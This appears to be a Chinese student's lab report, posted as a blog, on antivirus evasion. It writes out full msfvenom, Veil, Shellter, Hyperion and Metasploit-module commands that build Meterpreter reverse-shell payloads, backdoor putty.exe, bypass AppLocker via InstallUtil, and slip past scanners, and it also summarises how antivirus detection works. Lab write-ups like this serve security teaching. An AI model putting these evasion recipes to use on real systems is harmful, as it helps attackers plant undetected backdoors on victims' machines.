Exp3 免杀原理与实践 20174302 王漫天

一、实验原理

        免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

        免杀的基本方式有改变特征码和改变行为

        恶意软件检测机制有基于特征码检测、启发式恶意软件检测和基于行为的恶意软件检测。

二、实验过程

 (一)正确使用msf编码器

        1.后门文件检测

        将实验二中生成的后门文件【4309_bavkdoor.exe】上传到VirusTotalVirscan这两个网站进行扫描。

        在VirusTotal上的扫描结果如下:

        在Virscan上扫描结果如下:

 

        2.msf编码

        接下来我们使用msf编码器对后门程序进行编码后再检测。

        在终端输入 msfconsole 进入mfs控制台,输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.152.129 LPORT=4309 -f exe > 4309_backdoor1.exe ,生成后在VirusTotal进行检测结果如下:

 

         再用-i 指定次数为10,输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.152.129 LPORT=4309 -f exe > 4309_backdoor2.exe, 再在VirusTotal进行检测(因为Viscan比较卡):

 

     

(二)msf生成如jar之类的其他文件

         1.生成jar文件

        输入 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=4309 x> 4309_backdoor_java.jar 生成jar文件,继续检测:

 

         2.生成php文件

        输入 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=4309 x> 4309_backdoor.php 生成php文件,检测:

 

(三)veil

 

  

 

 

复制代码
apt-get remove veil              //卸载veil
apt-get update                   //我最后用的源是阿里云的
apt-get install veil-evasion
cd /usr/share/veil/config/
vim setup.sh                     //250行有一个GitHub的链接,删掉,换成https://gitee.com/spears/VeilDependencies.git,然后保存退出
veil                             //默认选项安装即可
mkdir -p ~/.cache/wine
cd ~/.cache/wine 
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
apt-get remove veil              //再卸掉veil
apt-get install veil-evasion     //如果要你run一下什么就按它要求来,我的是./usr/share/veil/config/setup.sh --force --silent
veil                             //终于成功了,颤抖的双手
复制代码

        2.生成文件

        输入 veil 进入,输入 use evasion 进入veil-evasion

 

         输入 use c/meterpreter/rev_tcp.py 进入配置,输入

set LHOST 192.168.152.129     //kali的IP地址
set LPORT 4309                //端口号
generate                      //生成文件

         然后输入文件名 4309,此时可以看到文件所在位置。

 

        检测结果:

 (四)c+shellcode编程

       输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=4309 -f c ,得到一段shellcode编码。

        【touch】指令创建一个c文件,vim打开编辑,输入老师给的C语言代码:

 

        使用 i686-w64-mingw32-g++ 4309.c -o 4309.exe 将c文件转为exe文件。

        检测结果:

(五)加壳工具

      1.UPX

       输入 upx 4309.exe -o 4309_upxed.exe 给之前的文件加壳,简单也没什么效果

 

       在Windows端运行,kali打开msf监控测试:

       2.HYPERION

      此处参考的博文链接 。安装代码如下:

git clone https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip
unzip Hyperion-1.2.zip
dpkg --add-architecture i386
apt-get update
apt-get install wine32

       在第一步的时候显示没有找到文件,我直接打开那个网址下载【Hyperion-1.2.zip】文件然后拷贝到kali下。

       生成加密器代码:

cd Hyperion-1.2
i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o h.exe

       加密过程出现了问题,我要加密的文件无法拷贝到【Hyperion-1.2】文件夹中,多次尝试无果,我把【Hyperion-1.2】文件夹中的所有文件复制到另一个文件夹,然后在把后门文件复制进去,输入 wine h.exe -v 4309-2.exe 4309_hyperion.exe 进行加密。

 

 

 

(六)其他工具

 

        1.shellter安装

       使用命令 apt-get intsall shellter ,安装完以后出现输入文件名闪退的现象,没有查到原因就卸载后更新源重新安装了一遍,过程如下:

        2.下载所需文件

       在这个网站找到【Downloads for Windows on Arm】,选择【32-bit Arm:putty.exe】下载putty.exe。

       3.使用shellter生成后门程序

        将下载好的putty.exe文件(一定要是32位的)复制到 /home/xuningyi 目录下,终端 输入 shellter 打开shellter工具,首先选择模式:A-自动,M-管理者,H-帮助选项,这次我们选择【A】,然后输入文件路径。如果出现错误的话(比如【A backup of the file was not taken!】)可以切换root用户试试。

        此时会将文件备份,输入【Y】选择隐身模式,出现几种链接方式,我们选择tcp链接,输入

【L】,然后输入【1】。

        输入kali主机地址和端口号

        此时的putty.exe文件已经含有后门,我们将它拷贝到Windows主机

       在msf端打开监控,在Windows端双击运行我们的后门文件。好嘛还是被杀软发现了。此时已经获得Windows端,因为跟上一次的后门文件位置不同,所以【dir】指令的结果也不太一样。

 

(七)组合技术实现免杀

      把【putty.exe】文件复制到那个文件夹中,输入 wine h.exe putty.exe putty_hyperion.exe 

 

        复制到Windows端,kali反弹打开msf监控:      

 

 

 

   

 

       1.windows/applocker_evasion_install_util模块

 

use windows/applocker_evasion_install_util
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.152.129
set lport 4309
run

        然后可以找到文件的存储位置,拷贝到Windows下后需要用csc.exe编译一下

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:install_util.exe C:\Users\admin\Desktop\install_util.txt      \\其实就是:[csc.exe位置] /out:[所要生成的文件名] [拷贝文件位置]

 

C:\Users\admin>C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false  C:\Users\admin\install_util.exe

      上面的【csc.exe】和【InstallUtil.exe】在【C:\Windows\Microsoft.NET\Framework】目录下找一找,我的exe文件的位置跟原文中写的不太一样,但是照着来也能实现。然后就是在Windows端运行exe、kali端监听了。

        2.windows/window_defender_exe模块

 

use windows/windows_defender_exe
set FILENAME exp3_4309.exe
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.152.129
set LPORT 4309
exploit

       可以找到生成目录,拷贝到windows运行、kali监听。

 

(八)免杀实测

        杀软名称:360安全卫士

        版本:

 

        实测结果:

 

        是用了查杀数最少的windows/window_defender_exe模块生成的后门文件在加壳。

三、实验总结

 

 1.杀软是如何检测出恶意代码的?

        (1)基于特征码检测:如果一个可执行文件(或其他运行的库、脚本等)包含特定的数据则被认为是恶意代码。

        (2)启发式恶意软件检测:如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。

        (3)基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当程序运行时,进行检测,如果发现了病毒行为,立即报警。

 2.免杀是做什么?

        就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。

 3.免杀的基本方法有哪些?

(1)改变特征码

  • 只有exe
    • 加壳:压缩壳,加密壳
  • 有shellcode
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 有源代码
    • 用其他语言进行重写再编译(veil-evasion)

(2)改变行为

  • 通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码。

(二)实验总结与体会

        我看很多同学做完这次实验以后都觉得我们的杀软不太行,但是我觉得杀软再怎么不行也比我的水平高很多(捂脸),测试网站上的那些软件我基本没有用过,但我自己电脑上的杀软在后门程序运行的时候检测结果还是很迅速且准确的,不过也确实没有之前那么信赖他们了,感觉这门课程是在一步步带领我们探索发现的,之前的实验让我觉得杀软很重要,这次实验却让我对他们产生怀疑,不知道后面的实验会带给我什么惊喜。还是之前的想法,学习这些技术是为了了解原理从而更好地进行防护,这才是课程学习的意义所在。

(三)开启杀软不能绝对防止电脑中恶意代码

       这就很明显了吧,肯定是不可能的,且不说很多种方法可以做到免杀,大多数杀软可能防得了已经有的技术,但是人们的创新创造思维是无穷尽的。

posted @ 2020-04-04 00:03  fkurightup  阅读(336)  评论(0编辑  收藏  举报